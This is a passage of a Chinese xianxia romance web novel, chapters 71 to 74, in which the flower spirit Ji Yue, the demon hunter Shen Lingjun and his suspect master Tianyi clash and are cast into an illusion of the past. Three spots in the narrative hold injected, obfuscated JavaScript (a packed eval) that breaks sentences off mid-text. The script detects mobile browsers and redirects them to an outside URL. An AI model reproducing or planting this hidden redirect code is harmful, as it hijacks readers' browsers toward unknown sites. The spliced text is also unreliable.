他把她送去的花笺平托在掌心,问,“这是你写的?” “是啊。” “你学会写字了?” “瞧不起谁呀!我早就会了。” 沈灵均似笑非笑。季月眼光溜向他肩头,“你的伤好了?” “皮肉之伤,不足挂齿。” 听他的口气,好像自己的血肉之躯不过是个布口袋,破了缝,缝了破。 季月心疼地蹙眉,“你师父为什么用剑砍你?” 沈灵均垂眸看她,“嫌我捉妖不力。” “那你让他自己捉啊!” 沈灵均把花笺对折,小心地收进怀里,“我师父精通卜卦,已算出月内会有大乱子。你一个人住在这里,太危险了。” 季月眨眨眼,“那你多过来看看呗。” “上回沈府的客房住得还舒服么?” 季月一愣,想起去岁冬眠以前,在沈府借宿的那几日。“那个暖阁热死了,熏得睡不着觉。” 沈灵均道,“如今酷暑将至,我去弄些冰放在房间里,祛祛暑热。” “你要我去住?” 沈灵均表情有些古怪,“不在眼前,我不放心。” 季月蓦然想起他上回说要来提亲的话,脸色微微一红。这进展也未免太快了。 “我……还没来得及打听成亲是怎么回事。” “到了沈府,可以慢慢想。” “那……等我收拾一下东西。” “不必了。我派车夫来搬。” 他拉过她的手就走,好像一刻都不想耽搁。 路上,沈灵均一语不发,季月倒是兴致高昂,不停地问东问西。 “你师父长什么样子?本事大不大?” “听说他是个道士,南安县有道观吗?” “你们神巫署有没有辞官一说啊?” 沈灵均揉了揉额角,“辞了官,拿什么糊口?” “什么都可以啊。耕田捕鱼,引车卖浆,木工织造,算卦行医,别人怎么糊口,你就怎么糊口呗。” “可我除了捉妖,什么都不会。” “那你只能投靠我了。种种花,卖卖糖水,总不至于饿死的。” “先行谢过。” 季月抿嘴一乐,“有没有开心一点?” 沈灵均勉强点了点头。 越靠近沈府,他的脚步越沉重,跨过大门的时候,动作都僵硬了。 府中气氛与往日截然不同,下人个个屏气敛声,一见他们就远远避开。 穿过长廊,走到内院,书房的门居然大开,从里面走出一个老道来。 季月一见他就惊叫道,“是你!” 天一道长目光阴沉,黑色的嘴唇拧成一个笑,“大胆妖孽,自投罗网!” 白光闪动,斩妖剑无声出鞘,架在季月脖子上。森然寒意激得她打了个哆嗦。 季月转过头,不敢相信地看向沈灵均。 沈灵均目光幽深,“这位便是我的师父,天一道长。” 季月大惊。绿牡丹现身之日,这老道和斗了八百回合。他身上分明有一股强烈的妖气,怎会摇身一变,成了沈灵均的师父。 “你被骗了,他是妖!” 道长冷哼一声,“胡说八道。” 剑锋挪动一寸,抵住她的脖子,“我师父是捉妖高人,功勋卓著,与妖相斗从无败绩,你凭什么说他是妖?” 季月心中一阵刺痛,“你信他不信我?” 天一道长厉声道,“好徒儿,将这妖孽斩杀了!” “是。” 季月未及反应,头顶金光闪动,金钟罩兜头落下,把她盖得严严实实。 手脚顿时酸软,耳中嗡鸣,好像浑身力气都离体而去。这件法器,曾是沈灵均用来保护她的,如今却用来困住她。片刻之前,他还柔声细语,着意关怀,没想到转眼就翻脸无情。 她抬起手掌,一下下拍打金钟罩,“放我出去!我要和这老妖决一死战!” 法器的边缘突然急速缩小,一股大力把身体里的空气都挤了出去,季月只觉得胸腔憋闷之极,渐渐失去意识。 再醒来时,映入眼帘的是一方金丝绣花床帐,逶迤曳地。空气中是熟悉的沉水香,还有一丝薄荷味。 季月愣了半晌,掀掉身上薄被,起身在客房里转了一圈。这里的陈设和半年前没什么变化。柜子里多了几个包袱,都是她日常取用之物。看来沈灵均真的派人去琳琅阁把她的东西搬了过来。 走到门口,发现这里设了一道禁制,大门怎么也推不开。 她气呼呼的,运起十成力拍在门上。木门上短暂地现出一个五指印,转瞬就不见了。 季月沉着脸,用风吹,用水冲,用火烧,各种方法都用遍了,就是突破不了紧制。看来沈灵均这忘恩负义的无耻之徒,是存心要把她困死在这儿。 她颓然坐回床上,心里把沈灵均骂了一千八百遍。 他立志捉妖,那也就罢了,立场不同而已,偏偏放着蛟龙不管,用全力来对付她,认敌为师,当真是瞎得可以。蛟龙的气息如此明显,绿牡丹隔着半个镜湖都闻到了,他怎么就认不出? 她抱着手臂,琢磨如何扳回一局,想着想着,觉得困了,靠在床柱上眯了一会。不知过了多久,听见响动,那两扇怎么也推不动的门开了,沈灵均提着剑走进来。 季月跳下床,正要戟指大骂,他倒好,抢先把剑一横,警告道,“别动手。” 季月呆呆地望着他,心中又一阵刺痛,“你就这么对我?” 沈灵均叹了口长气,自顾自走到一边斟茶。 季月默默走到他背后,五指成爪,欲把他的心肝挖出来,龇牙咧嘴地比划了半天,到底没能下得了手。 碧螺春在滚水中浮沉,香气袅袅飘来。季月以为他是倒给自己喝的,谁知他端起茶杯,一饮而尽。 她跺着脚骂,“沈灵均!” 他显然被烫到了,转身吐了吐舌头,“别气了。老实说,我师父怀疑你是妖,还是只道行高深的月季花妖。” 她表情呆滞一瞬。 好一条蛟龙,妖喊捉妖,反咬一口。 “那你怎么想?” 沈灵均凝视着她,目光柔和,“你和月季花说话,普通人可没这个本事。” “呸!我要是妖,早就把你吃了!” “你爱慕我,舍不得吃。” 他刚才还用剑指着她,现在竟从容地说出这种话,脸皮当真厚得可以。 “鬼才爱慕你!我到南安县就是为了躺平,谁知道来了以后,没有过一天安生日子,不是受伤,就是无端被怀疑,倒足了霉……” 她说到这里,不由悲从中来,露水不受控制地从眼中流出来。 沈灵均伸手要帮她擦。 “走开!” 他叹气,“既然你说不是,我自然信你。可是我师父这个人脾气暴躁,又固执得很,我若不遵从他的命令,他定会亲自追杀你。” “让他来啊!老妖怪!我还怕了他不成?” “他老则老矣,并不是妖怪。” “你怎么知道?” “我七岁起和他学艺,朝夕相处,怎会认不出师父?” “这老妖披了你师父的皮,伪装成他来到南安县,把你骗得团团转。” 沈灵均愕然,眼中闪过一丝笑意,“罢了罢了,你们都说对方是妖。这一团糟的局面我也应付不来。如今多事之秋,阿月你能否回乡暂避?” 季月一愣,总算被他逮到空子,伸手在脸上揩了一下。皮肤微感刺痛。他手指粗糙,内侧长着厚厚的茧,一看就是长年练剑磨出来的。 季月揉着脸,方才决意痛打他一顿,此时却心软了,“什么多事之秋?现在是夏天,秋天还未到。你怎么连日子都过糊涂了?” “……” “我回不回去,用不着你管。倒是你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16111451|179499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,天天和那个老妖怪混在一起,迟早被他吃了。” “放心吧,他只有我一个弟子,舍不得吃的。” 看他的样子波澜不惊。季月咬住嘴唇,恼怒之余,莫名生出一股保护欲,心想,傻子,没我你就死定了。 深夜,书房,沈灵均双手捧上一碗乌黑如墨,热气氤氲的汤药。 “师父,这是按您给的方子熬的,请慢用。” 天一道长从打坐的蒲团上下来,伸手接过,看看脸色苍白的徒弟,忽道,“你没在里面放什么东西吧?” 沈灵均暗自好笑。老头子骗他吞了血咒,到底有些良心不安。 “弟子怎么会害师父呢?” 天一道长哼了一声,把碗搁在一边。他身上的皮肉伤已好得差不多了,可内伤沉重,虽然尽心调养,仍不见起色。 一日不恢复功力,就不能把蛟龙从乾坤袋里放出来,毕竟要炼化此妖,须七七四十九日之功,中途不能受到任何干扰。 “那只花妖如何了?” “关在客房。” 天一道长的眼睛眯了起来,“哼,别以为我不知道你打的什么主意。为师是不会心软的。她要是跑了,你也休想拿到解药。” “师父放心,客房门口设了禁制,只有我能解开。” 天一道长俯下身,“也就是说,连为师都解不开?” 沈灵均从容道,“师父斩杀九十九条蛟龙,才练成这一身震古烁今的本事。弟子学艺多年,进境缓慢,就是因为手中这柄斩妖剑未曾饮过大妖的血。此次是绝佳的试炼机会,弟子想独自完成。” 天一道长怀疑地看着他。这唯一的徒弟从小就聪明,话说得滴水不漏,却不能全信。 “好吧,别太逞强了,师父可以帮你挥剑斩情丝。当初师父在你这个年纪……” 他说到一半突然停住,神情古怪。 沈灵均追问,“在我这个年纪,如何?” 天一道长瞪眼,“在你这个年纪,杀过的妖尸身都堆成山了。” 道长很少提及自己的过去,沈灵均敢打包票,他原本想说的绝不是妖尸堆成山。 “弟子惭愧。” 道长端起药碗一饮而尽。药汤苦如胆汁,可他喝完还舔了舔嘴,好像回味无穷。 “那个韩思年为人如何?” 沈灵均一怔,师父问起他干什么。莫非还嫌打得不够狠? “他虽然冲动鲁莽,心肠倒是不坏。” “他挨打时一声不吭,倒有些血性。” “此人勇气可嘉,金蟾作乱时曾带领衙役与妖相斗。” “哦?还有这事?”天一道长沉吟半晌,“我看他根骨不错,有意收他为徒,你把他叫到沈府来吧。” 沈灵均大吃一惊,“师父,韩思年已过弱冠之年,您要他从头开始学艺?” “有何不可?” “您当年不是说,我七岁入门,已嫌太晚……” 天一道长不耐烦地摆手,“那是激励你小孩子专心练功,不要贪玩。这法术么,早学晚学有什么分别?管用就行。” 沈灵均气血上涌,胸腔像要炸开似的,“师父说我资质难得,命我拜入神巫署,摒弃世俗,一心向道。难道都是谎言?不修道也能练功,随便找个人传授几招,也能斩妖除魔?!” “你想到哪里去了?眼下妖邪横行,正是用人之际。多收一名弟子应应急,百姓也多一分指望。为师的衣钵,总是由你继承的。” 沈灵均张口结舌,蓦地想起季月那句,你被他骗了。 当年天一道长云游归乡,需要一名弟子,而沈家刚好遭逢变故,父母叔婶同时离世,留下一对无人看顾的表兄妹。两边各有所求,一拍即合。 如今想来,什么万中无一的根骨,不过是招揽他的借口。这捉妖师的位子,换了谁来当,都一样。 还真让她说对了,师父把他从小骗到大。他这半生,过得就像个笑话。 沈灵均收起空药碗,黑着脸地退了出去。 72. 牡丹真国色(七) 沈府静悄悄的,众人都歇下了,柳树梢头嵌着一轮弯月,风送芙蕖清芬,不时传来几声蛙语蝉鸣。 沈灵均本打算去看看表妹。因他不好好用饭,整日和师父关在书房里议事,王妙仪已经积了几天的火气,眼看就要爆发了,得赶紧安抚一下。 可方才听天一道长说要招揽韩思年,心头顿时窜起一股邪火,再也压制不住。 原来学艺无关资质,修道也非必须,全凭道长一句话,两片黑嘴唇一张一合,就把别人的一生安排了。 平心而论,师父于他有恩。他执剑捉妖,也是出于匡扶正义,锄强扶弱的本心。可谁会愿意被欺骗,被利用,被算计得明明白白。 他相信如果遇到危险,师父会毫不犹豫地挡到前面,正如他毫不犹豫地给唯一的弟子喂下毒丸。 辞官的念头无比强烈。没了捉妖师的身份,他就能光明正大地和季月在一起。 季月心思单纯,心地善良,几次三番施以援手,真心为他着想,而且,从来都没有骗过他。 季月……他此刻想见的只有季月。 禁制一触即解,推开房门,屋子里光线昏暗,季月伏在桌前,从一本书上抬起头,发丝凌乱,昏黄烛火映出她莹润如玉的侧脸。 她睡眼惺忪地看了看他,“是你啊,进屋怎么不敲门?” 沈灵均背过手,在身后门板上敲了几下。 季月嘟囔道,“刚要做梦,就被你吵醒了。” 沈灵均走近一看,桌上摊着一本诗集,是前朝一位文豪所著,以词句工丽闻名。 他笑她,“你对着诗集做梦?” “也不知道怎么回事,每次翻开这本书,看两个字就困了,都坚持不到第二页。” “那你还看?” “韩公子说,这里头写的是男女相思,柔情蜜意,两处销魂……” 一听她提及韩公子,沈灵均脸色一沉,伸过手去把书合上。 “不许提他。” “为什么?” “因为这里是沈府,只准看我,想我,只准和我一个人说话。” 季月呆呆看他。从没见过他这般蛮不讲理的模样。 “你把我关在这里,就是打的这个主意?” 沈灵均原本的计划,是劝她偷偷溜走,最好能神不知鬼不觉地逃回妖界去。这样一来,他不用与她为敌,南安县也能肃清妖邪,一个月之后,天一道长终究会心软,给他解药。 虽然要暂时分别,总好过兵刃相见。 可他此刻心情异常,所有的理智权衡都抛诸脑后。 他沉声道,“是啊,我就是要逼你嫁给我。” 季月跳起来,“你不是说到了沈府慢慢想,不着急么?” “这话你也信?” “你们男人惯会骗人!” “女人也是一样。” 他随手揽过她的腰。她微微挣了一下,才发现他眼睛里都是血丝。 “你的脸色怎么这么难看?” “脸色难看打什么紧?人长得好看就行了。” 季月眨巴着眼睛,“你今晚不太对劲。” “阿月,我喜欢你。往后余生,除了责任和道义,若我还想奢求一点快乐,只有和你在一起。” “为什么?” “因为人心难测,唯独你有一颗玲珑剔透心。” 季月凝视他良久,花妖没有心,可他这话很中听,说话的样子,也很中看。 她温柔地捧起他的脸,“我也喜欢你。” 这回是她先吻上去,唇齿相接,没了上一次的慌乱,极尽缠绵。 身体深处有什么东西醒了过来,像一头野兽战栗着咆哮。 啪地一声,蜡烛爆了个灯花。 季月把脸埋在他颈窝里,隔着衣服,听到沈灵均的心跳犹如擂鼓。 “是不是你师父折磨你了?我都说了他是妖嘛。” “……他比妖还都凶残。” “放心,有我在,不会让他欺负你的。” 沈灵均闭目良久,再睁开的时候,眼睛里竟然泪光莹然。 季月一向觉得他深沉可靠,这时看他,倒像个受了委屈的孩子。 她踮起脚,轻咬他的耳垂,柔声道,“以后不准再拿剑指着我了,夫君。” 沈灵均浑身一颤,身体里燃起一把火。 他将她打横抱起,放到床上,俯身去解她的衣带。 轻纱拂动,烛影摇曳,视野中渐渐只剩对方的脸。 人眼看不见的纤细枝条,从季月身后向四面八方生长,延伸到床角,攀上纱幔,绕过沈灵均的后背,蜿蜒曲折,纠结缠绕。 水乳交融的那一刻,枝条上无数鲜红的月季花顷刻盛开,整张床沉入灼灼花海。 花瓣把他们一重重包裹起来,与尘世彻底隔绝。 夏夜悠长,犹嫌不够长。 沈灵均次日醒来的时候,枝条尚未消失,还有零星的花瓣飘落。 季月靠在他胸膛,两颊微红,睡颜恬静。 披散的长发缠在一起,无意中打了许多个结。沈灵均痴痴地看了半天,想到结发为夫妻,恩爱两不疑的诗,不由动容。 若能一直如此相守,该有多好。 惟恐世间好物不坚牢,如春花秋蝶,转瞬即逝。 正在思潮起伏,忽然听到有人拍门。 咚咚咚,拍得甚响。 “季姑娘,你出来!” 是表妹。声音听起来气急败坏。 沈灵均慌忙跳下床,披上衣服,系好腰带,束起头发,套上靴子。 一通忙乱毕,朝镜子里看了一眼。背后,季月拥着被子坐起来,眼神茫然。 “一大早的,谁在扰人清梦?” 他转头微笑,“你再睡一会。我去看看。” 她咕哝一声,栽倒下去,躺成一条直线。 沈灵均暗自好笑。这朵月季花恐怕是最爱睡懒觉的妖了。 外面,王妙仪已经把手掌都拍红了。 “再不出来,我就要硬闯了!” 房门打开,沈灵均一脸淡定地看着她。 “我设了禁制,你闯不进去的。找季姑娘有何事?” 王妙仪呆呆地看着表哥,好像不认识似的。 “妙仪?” 她突然退后两步,高声叫道,“你为何从她房里出来?!” “我们昨晚在……商议要事。” 王妙仪看他脸色,眼下两圈乌青,眉宇间隐然有春色。 她越发心悸,喉头发紧,“我昨晚熬了补药,四处找你。你不在房间。书房里只有天一道长一人。” 说到此处顿了顿,泪光莹然,“下人说你没有出府。我每间屋子都找过了,只剩这里。你们孤男寡女,无名无份,共处一室,成何……成何体统?!” 沈灵均语塞,他们不但共处一室,还同床共枕了。表妹从小端庄守礼,容不得一点逾矩之事,何况是这等离经叛道的恋情。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16115236|179499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“此事容我慢慢和你解释。” “我现在就要知道!你是不是真的和她有男女之情?” 身后脚步声响,季月揉着眼睛走出来。 王妙仪见她披头散发、衣衫不整,心头剧震,“你们两个……不顾礼法……寡廉鲜耻……” 季月不耐烦道,“王姑娘,我和你表哥两情相悦,这不比礼法更重要么?” 王妙仪眼眶越来越红,终于忍不住嚎啕大哭。 沈灵均眉头拧成川字。表妹从小和自己相依为命,性格又是一根筋,钻了牛角尖,须得好好劝解。可眼下内忧外患,实在难以分神。 他回过头,“阿月,你先进去好不好?” “不好。” “乖。” 季月看了看他,又看了看王妙仪,抿嘴一笑,“听夫君的。” 更要命的是,转身以前,还凑过来在他脸上亲了一口。 王妙仪脸色惨白。 她从小爱慕表哥,却不能明言。因沈灵均是修道之人,要摈弃一切世俗欲念,这份爱慕像一颗种子,一直压在心底的缝隙,靠着偶尔漏下来的阳光雨露,默默滋长,不知不觉爬满所有角落。 若是表哥一心向道,也就罢了。可他偏偏对别人动了心。情愿为了她抛下一切。自己得不到的东西,别人却要得到了。数十年相依为命的情分,还敌不过一个认识不到一年的外人。 她哭得上气不接下气,“我要去问问天一道长,捉妖师能不能有男女之情。” 沈灵均心中一凛。昨晚太过忘形,若师父知道自己与季月缠绵一宿,定会横生事端,说不定不等伤愈就亲自对她动手。到时,局面可难以收拾。 “别去打搅师父清修!最近外面乱得很,你好好地呆在房里,就是帮了我大忙了。” 王妙仪见他对自己疾言厉色,伤心更甚,歇斯底里地喊道,“骗子!都是骗子!从今往后我再也不会听你的话了!” 她转身飞奔而去,穿过庭院、长廊,一路冲出府门。沈灵均赶紧追到门外,只见清河街上静悄悄的,只有零星行人,晨雾尚未散去,柳树梢头皆似笼着一层白纱。 而他这个向来文静柔弱的表妹,已经跑得没影了。 王妙仪低着头狂奔,只想离开沈府越远越好。眼中蓄满了泪,看不清路,撞到行人也不停步,直跑到耳中嗡嗡作响,一颗心像要从嗓子眼里窜出来。 她擦了擦额上的汗,发现自己一口气跑到了镜湖边,绿草茵茵,风拂柳枝,水面反射的阳光刺进眼底,生疼。 湖边三三两两的游人,见她一个文弱女子,跑得气喘吁吁,鬓发散乱,像身后有恶鬼追杀似的,尽皆侧目。 明明没有人追她啊。 王妙仪一步步走到岸边,临水自照。 镜湖波平如镜,因而得名。她此刻失魂落魄的模样清清楚楚地映在水中,双眼红肿,粉腮上挂着泪珠,滴滴答答往下淌。 她伫立良久,脸颊被烈日晒得发烫,几欲跃入水中,和自己的影子合为一体,总好过留在世上,受那伤心断肠的折磨。 正这么想着,突然浑身一颤。那水中的自己,竟然在笑! 红润的嘴唇微微翘起,眼波流转间,还冲岸上抛了个媚眼。 王妙仪惊出一身冷汗,仔细一看,这哪还是自己的影子?身形变高、变大,素色衣裙鼓胀撑开,五官变幻,组合成一张容色倾城的陌生面孔。 她想逃走,却迈不动步子,整副心魂都被那倒影吸了进去。 73. 牡丹真国色(八) 沈灵均在沈府门口徘徊许久,着实拿不定主意。 一来,表妹是人,不是妖,身上没有妖气,世间没有一只罗盘能够感应她的方位。 二来,她正在气头上,原该找个地方冷静一下。家里有师父和季月这两尊大佛,已经够让他头疼的了。 眼前闪过表妹凄然欲绝的样子,心头一阵紧似一阵。她长到十八岁,出门的次数屈指可数,实在教人放心不下。 没等他做出决断,一个男人背着一柄斧头从河对岸飞也似地跑来,远远见了他,便高呼,“沈大人,不好了!西山警铃大作!” 南安县依水而建,东西皆有山丘,东边的山形似谷仓,得名小仓山,山上植被茂盛,百花盛开,是个郊游赏景的好去处。西边的山奇峰突起,悬崖峭壁,道路险峻,又无景可赏,大家便敷衍地称之为西山。 天一道长亲自在南安县东南西北四个方位设置警铃,感应妖气,其中一个就设在了西山。 示警之人奔近,沈灵均见他一只眼大,一只眼小,模样说不出的怪异。 “怎么回事?慢慢说来。” 那人咽了口唾沫,“我今早照常上山砍柴……” “慢着,南安县树木多的是,为何要去荒芜的西山?” “沈大人有所不知,那悬崖下面有一处缓坡,长满了松树,又高又大,砍一棵就能卖好多钱呢!我刚沿着那条废弃的山道,攀上峭壁,就听到警铃大作。那声音,从四面八方往脑袋里钻,就像要把天灵盖劈开似的。我手没抓稳,笔直地摔了下来。” “你可有看见妖的踪迹?” “没有,我爬起来后,哪敢再待,一刻不停地跑回来报信。沈大人,这回要是捉住了妖,我能领到赏银吗?” 樵夫一大一小两只眼睛热切地将他望着。 沈灵均想起,天一道长确实向全县许诺过,发现妖踪,重重有赏。赏银几何,却未言明。 “你先去衙门,把姓名事项登记在册。日后领赏也有个依凭。” 樵夫眉开眼笑,抬脚就要走。 “等等,你攀上的那处悬崖,在哪个方位?” 樵夫抓了抓头,“西山峭壁无数,这可说不清。” “你仔细想想,从何处上的山,走了多远?” “我家住在山脚下,向来是从南边上山,走到没修完的台阶尽头,穿过石头林望北,就能找到旧的山道,再走上一刻钟……”他突然叫道,“我想起来了,爬在山壁上的时候,瞧见了仙鹤铜像的一角,在太阳底下发光呢。那地方定是无求观的旧址。” 沈灵均脸色白了白。建在西山悬崖峭壁中的无求观,荒废多年的无求观,正是天一道长昔年闭关修行的所在。 樵夫砸吧着嘴,“好好一个道观,竟遭了天雷,说荒废就荒废了。年轻一辈的娃娃们,怕是都没听说过那个地方。早些年,无求观可是很灵验的。我以前还去上香许愿……” 沈灵均听得走了神,回忆像漫天大雪,淹没了神思。 “沈大人?” “此事重大,我须得禀告师父。” 他送走樵夫,叫来沈伯,“把沈府所有人都派出去,务必在天黑之前把小姐找回来。你也一起去,想想她最有可能跑到什么地方。” 沈伯忧心忡忡地答应了。沈府的花匠车夫厨子都放下手里的活,出去寻人。 偌大的院子安静下来,沈灵均向书房走去,心绪烦乱,脚步如同灌了铅。昨夜的缠绵温存,倒像是一场短暂春梦。 书房之内,天一道长正在闭目打坐,香炉里青烟袅袅,衬得他的脸色阴晴不定。 沈灵均思虑再三,到底没把无求观三个字说出来。 “有人发现西山警铃大作。” 天一道长睁开一只眼睛,“正好!今日六月初六,宜大开杀戒。” “师父的伤痊愈了吗?” “不碍事。你收拾一下,即刻出发。” “是。” 天一道长看了一眼弟子,见他眉间隐有忧色,一转念,“把那只花妖带上。” 沈灵均吃了一惊,“这是为何?” “为师没教过你么?猎物没死之前,必须带在身边。” “弟子设了禁制,她出不了房间。” 天一道长声音陡然拔高,“别以为我看不穿你的把戏!妖天性狡猾残忍,稍有不备,就能惹出大祸。趁早要了她性命,永绝后患。” “一月之期未到。等弟子功力纯属,必能一击成功。” “我看你是舍不得下手,故意拖延。“ “……” 天一道长从怀里摸出一个布袋子,扔在他头上,“乾坤袋装满了,就用这个吧。” 沈灵均盯着那薄薄的缚妖袋,头皮发麻。要他把季月打晕了装进去,无异于火中取栗,虎口拔牙,太岁头上动土,自寻死路。 “弟子……去试一试。” 一炷香后,沈灵均和季月十指紧扣出现在天一道长面前。 天一道长目眦欲裂,正要发作,沈灵均抢先抬起交握的手,“禀告师父,这叫掌心锁,以掌力束缚行动。季姑娘已经和我锁在一起,任凭战况多么激烈,上山也好,下海也罢,她都离不开我半步。” 季月亲昵地瞥了沈灵均一眼,转向天一道长,嘲讽道,“恶毒老妖,你处心积虑挑拨我们的关系,意欲何为?” 天一道长拂尘一摆,一股排山倒海的掌力袭来。沈灵均用空着的那只手横剑格挡,两股巨力撞在一起,整个沈府都晃了三晃。 二人一妖皆站立不稳,唯有两只手掌还牢牢地黏在一起。可见掌心锁并非虚言。 沈灵均劝道,“师父,大局为重,弟子不值得您空耗法力。” 天一道长怒极反笑,“好,好,我果然教出一个白眼狼。” 季月咬着沈灵均的耳朵告状,“夫君,他骂你!” 四下静了片刻。 一粒黄豆大的汗珠,从沈灵均额上流下来。 天一道长只觉得气血翻涌,按捺不住,哇地一声呕出一大口血。 那血红中带黑,还咕嘟咕嘟冒着泡。 沈灵均讷讷道,“师父,身体要紧……” 道长心头烦恶,知道自己受伤后,体内妖毒未清,若继续大动肝火,只怕能把五脏六腑都呕出来。 只恨这孽徒忤逆不孝,实在太不像话。来日定要狠狠教训他。 他强压下怒气,拂袖而去。 沈灵均松了口气。 季月在耳边娇声道,“夫君,他走了。” 沈灵均耳根通红,艰难地咽了口唾沫,“跟上。” 西山地处偏僻,路途不便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她悄悄拱起手掌,伸长小指去挠沈灵均的掌心,沈灵均警告地瞪了她一眼,重新把手握紧。 天一道长猛然刹住脚步,盯着山谷某处。沈灵均和季月险些撞到他身上。 顺着他目光看去,山石之间一点金光,时明时灭,形似鸟的尖嘴。 沈灵均心中有数。这就是樵夫所说的无求观的旧址。 天一道长面色青一阵,白一阵,好像被什么攫住了心神。 季月悄声道,“你看他,中邪了,很快就要现原形了。” 山谷之间突然金光大作,形成一张巨网,越来越大。与此同时,天一道长腰间的乾坤袋浮了起来,里面的东西翻腾扭动,只听雷声隆隆,雨声霖霖,闪电阵阵,好像里头起了一场风暴。 天一道长大惊,双手伸出,以掌力压制袋子。沈灵均挥动斩妖剑,劈向不断扩张的金网。 两招均未奏效,乾坤袋像脱了僵的野马,拼命翻滚,金网瞬间膨胀数倍,兜住了袋子。 妖气冲天而起,盖住了整座山。 乾坤袋口裂开了,里面的东西,化作一道雪亮的闪光,破袋而出! 风雷之声中,夹杂着天一道长的高声怒吼。 季月呆望天空,顿悟这股力量的来源,刚想提醒沈灵均,突然手心一空,身不由主地跌落下去。 沈灵均大骇,只见四面八方都有山石滚落,遑论救助季月,相助师父,连自己都被埋在下面。 天昏地暗,日月颠倒,意识恍惚。 不知过了多久,猛地睁开眼,周遭景物全变了样,哪里还有师父和季月的影子。 74. 蛟龙潜于渊(一) 沈灵均发现自己坐在一个蒲团上,烈日当空,在地上投下小小一团影子。 身上穿着一件靛蓝色道袍,衣料粗糙,磨得皮肤微微刺痛。 这不是自己的衣服。 伸出手掌,掌纹又深又乱。 这也不是自己的手。 心中莫名升起一股恐慌。他历经大小战斗无数,多次在生死边缘徘徊,敌人再强大,也能咬牙周旋,大不了拼个同归于尽。 可自己一觉醒来,居然变成了别人,这种惊悚是从未遇到过的。 如果这是别人的身体,那自己的身体又在哪里呢? 低头寻找,斩妖剑不在手边,掀起道袍的下摆,露出一柄拂尘。看样式有些眼熟。 四周都是灰扑扑的殿阁。背后大殿中供着三清神像,左有四御殿,供着四御尊神,右有玉皇殿,供奉玉皇大帝,山门口立着一只巨大的丹炉,袅袅升起青烟。 他猛地起身,头脑一阵晕眩,回身仰望大殿屋顶,果然有一尊黄铜铸成的仙鹤像,引颈向天,尖尖的鸟嘴在阳光下灿然生辉。 此处的格局布置,分明是荒废前的无求观。 可南安县无人不知,无求观早在二十年前就毁于天雷,怎会恢复原样? 难道方才一股强劲的妖力,竟把自己带到了过去? 正恍惚间,身后脚步声响,一个十五六岁的小道童匆匆跑来,见了他,欢喜行礼道,“恭喜道长出关。” 沈灵均愕然,“你说什么?” “道长此番云游归来,说要闭关修炼七七四十九日再走,到今日,正好功德圆满。” 顿了顿,又道,“道长接下来要去哪里?弟子们倒盼望您多留几日呢。” 沈灵均心中不祥的预感越来越强,“你说我……是谁?” 小道童瞪大眼睛,“天一道长,您这是怎么了?” 沈灵均耳中嗡地一声。 他变成了师父? “水井在哪?” 小道童莫名其妙,“观中没有水井。后院水缸里的水是每日从山下挑上来的。” 沈灵均转身奔向后院,转了一圈,找到一只黢黑的水缸,里面有半缸清水。 看到水面映出的模样,狂跳的心脏骤停。 果然是年轻了三十多岁的师父的脸。 青年时期的天一道长,嘴唇还没有发黑,皮肤光滑,没有一丝皱纹,表情也不像后来那么凶神恶煞,五官深邃,英气勃勃。 只是眼神之中,全是惊慌失措,嘴角弯起,露出比哭还难看的苦笑。 沈灵均倒退几步,后背撞在墙角。不是自己的腿脚,使唤起来格外费劲。他越过不知所措的小道童,走向山门。推门向外一望,千岩万仞,峭壁相连,峰顶云雾缭绕,一只白鹭从眼前掠过,飞向蓝天。这无求观是在山壁中凿出的道观,和西山融为一体。早年的工匠们费了九牛二虎之力,硬是从怪石中劈出一条路来,曲曲折折,通向山门。 沈灵均正在发愣,眼角捕捉到一抹亮色。 那蜿蜒山路上,有个身穿藕荷色罗裙的女子,正一步一跌地向山门走来。 季月一边爬山一边咒骂,这具身体实在是太弱了。原本这点坡度对她来说根本算不了什么,可她掉进了别人的身体,这女子显然缺乏锻炼,没走两步就气喘吁吁,要停下来休息。 女子伸手擦了擦汗,手指白嫩纤细,宛若出生婴儿,一看就是肩不能提,手不能抗的千金小姐。 她很不耐烦。自从醒来后就困在这女子体内,身不由主,沿着一条极难走的道路,一刻不停地往山上爬。一路上连半个人影都没见着,也无从知道自己姓甚名谁,长什么样。 她好几次试图向这具身体的主人喊话,可这幻境邪门得很,任凭她如何狂呼乱喊,全是徒劳。空有通天本领,一丝一毫都使不出来。 好不容易爬到山门,抬头一瞧,匾额上书三个大字:无求观。 女子出神地看了片刻,喃喃道,“无求……凡人怎可能无欲无求?” 季月吓了一跳,爬了一路,这是她第一次开口。明明感觉到嘴唇在动,声音从喉咙里发出来,却全然不受自己控制。妖生漫漫,她是见惯了大场面的,却从没经历过如此怪事。 女子走进观内,环顾一圈,径直奔向大殿,对着三清神像跪倒,朗声道,“求天尊保佑家母宿疾痊愈,信女愿终身供奉香火。” 她连说了三遍,说到后来,语声哽咽,泪光莹然。 季月发觉视线模糊,顿感好奇,不知这女子哭起来是什么样子,和那弱柳扶风的王姑娘像不像。 大殿的暗影中,传来一声轻咳。 原来神像脚下的蒲团上还坐着个道士。 那人缓缓起身,走到光亮处。 季月看清他的脸,如遭雷击。这粗大的五官,凶恶的嘴脸,分明是沈灵均那个冒牌师父。 